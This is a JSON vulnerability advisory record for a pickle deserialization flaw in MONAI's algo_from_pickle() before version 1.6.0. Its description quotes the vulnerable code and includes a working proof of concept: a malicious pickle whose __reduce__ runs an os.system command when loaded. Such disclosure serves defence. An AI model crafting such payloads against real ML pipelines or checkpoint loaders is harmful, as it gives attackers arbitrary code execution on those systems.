{"id":"CVE-2026-100843","aliases":["CVE-2026-100843","GHSA-qxq5-qhx6-94qw","PYSEC-2026-4018"],"related":[],"kind":"vulnerability","state":"published","title":"MONAI before 1.6.0 Remote Code Execution via algo_from_pickle","summary":"MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"MONAI versions before 1.6.0 contain a remote code execution vulnerability in the algo_from_pickle() function due to unsafe pickle.loads() deserialization in monai/auto3dseg/utils.py. Attackers can craft malicious pickle files that execute arbitrary system commands when deserialized by the vulnerable function.","source":"cvelist"},{"lang":"en","text":"## Summary\n\n  GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in\n  `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py`\n  has not been modified since 2024-07-12 — 18 months before v1.5.2 was released\n  (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was\n  never implemented.\n\n  ## Vulnerable Code\n\n  File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2)\n\n  ```python\n  def algo_from_pickle(pkl_filename: str, ...):\n      with open(pkl_filename, \"rb\") as f_pi:\n          data_bytes = f_pi.read()\n      data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here\n\n      # isinstance/key checks happen AFTER deserialization — already too late\n\n      algo_bytes = data.pop(\"algo_bytes\")\n      ...\n      if len(template_paths_candidates) == 0:\n          algo = pickle.loads(algo_bytes)      # SINK 2 — line 350\n      else:\n          for p in template_paths_candidates:\n              algo = pickle.loads(algo_bytes)  # SINK 3 — line 356\n\n  No Unpickler subclass, no find_class restriction, no allowlist.\n\n  Why the Fix is Incomplete\n\n  - monai/auto3dseg/utils.py last commit: 2024-07-12 (\"drop python 3.8\")\n  - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes\n  - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356\n  - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch\n\n  PoC\n\n  import pickle, os\n\n  class Exploit:\n      def __reduce__(self):\n          return (os.system, ('id > /tmp/rce_proof.txt',))\n\n  # Craft malicious pkl\n  data = {\"algo_bytes\": pickle.dumps(Exploit()), \"template_path\": None}\n  with open(\"/tmp/evil.pkl\", \"wb\") as f:\n      f.write(pickle.dumps(data))\n\n  # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim\n  with open(\"/tmp/evil.pkl\", \"rb\") as f:\n      data = pickle.loads(f.read())        # SINK 1 fires — RCE here\n  algo = pickle.loads(data[\"algo_bytes\"])  # SINK 2 fires\n\n  print(open(\"/tmp/rce_proof.txt\").read())\n  # uid=1000(user) gid=1000(user) groups=...\n\n  Verified on monai v1.5.2 (utils.py verbatim source):\n  [+] RCE CONFIRMED via algo_from_pickle():\n      desktop-5657tb1\\woong\n\n  Impact\n\n  Any application or ML pipeline calling algo_from_pickle() with an\n  attacker-supplied file path is vulnerable to full RCE. Medical AI workflows\n  frequently exchange model checkpoints, making this a realistic attack vector.","format":"markdown","source":"ghsa"}],"published":"2026-08-18T20:22:30.000Z","modified":"2026-10-01T09:25:41.478Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.5,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.5,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"cwes":["CWE-502"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"1.6.0","status":"affected"},{"type":"semver","version":"1.6.0","status":"unaffected"}],"vendor":"Project-MONAI","product":"MONAI","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.6.0"}],"ecosystem":"PyPI","package":"monai","purl":"pkg:pypi/monai","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.6.0"}],"vendor":"project-monai","product":"monai","cpe":"cpe:2.3:a:project-monai:monai:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.6.0"}],"ecosystem":"PyPI","package":"monai","purl":"pkg:pypi/monai","source":"pysec"}],"references":[{"url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-qxq5-qhx6-94qw","tags":["evidence","exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vulncheck.com/advisories/monai-before-1.6.0-remote-code-execution-via-algo-from-pickle","tags":["advisory","third-party-advisory"],"sources":["cvelist","nvd","pysec"]},{"url":"https://github.com/Project-MONAI/MONAI","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/advisories/GHSA-89gg-p5r5-q6r4","tags":["advisory"],"sources":["ghsa"]}],"credits":["aslein1413-sys"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-09-30T15:17:12.845Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-100843","url":"https://www.cve.org/CVERecord?id=CVE-2026-100843","licence":"CVE Terms of Use","modified":"2026-09-30T15:17:39.080Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qxq5-qhx6-94qw","url":"https://github.com/advisories/GHSA-qxq5-qhx6-94qw","licence":"CC-BY-4.0","modified":"2026-10-01T09:25:41.478Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-100843","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100843","licence":"Public domain","modified":"2026-09-30T16:17:02.217Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-4018","url":"https://osv.dev/vulnerability/PYSEC-2026-4018","licence":"CC-BY-4.0","modified":"2026-10-01T09:15:05.392Z"}],"updatedAt":"2026-11-25T22:59:41.255Z","epss":{"score":0.00305,"percentile":0.25148,"date":"2026-12-01T12:00:22.000Z"}}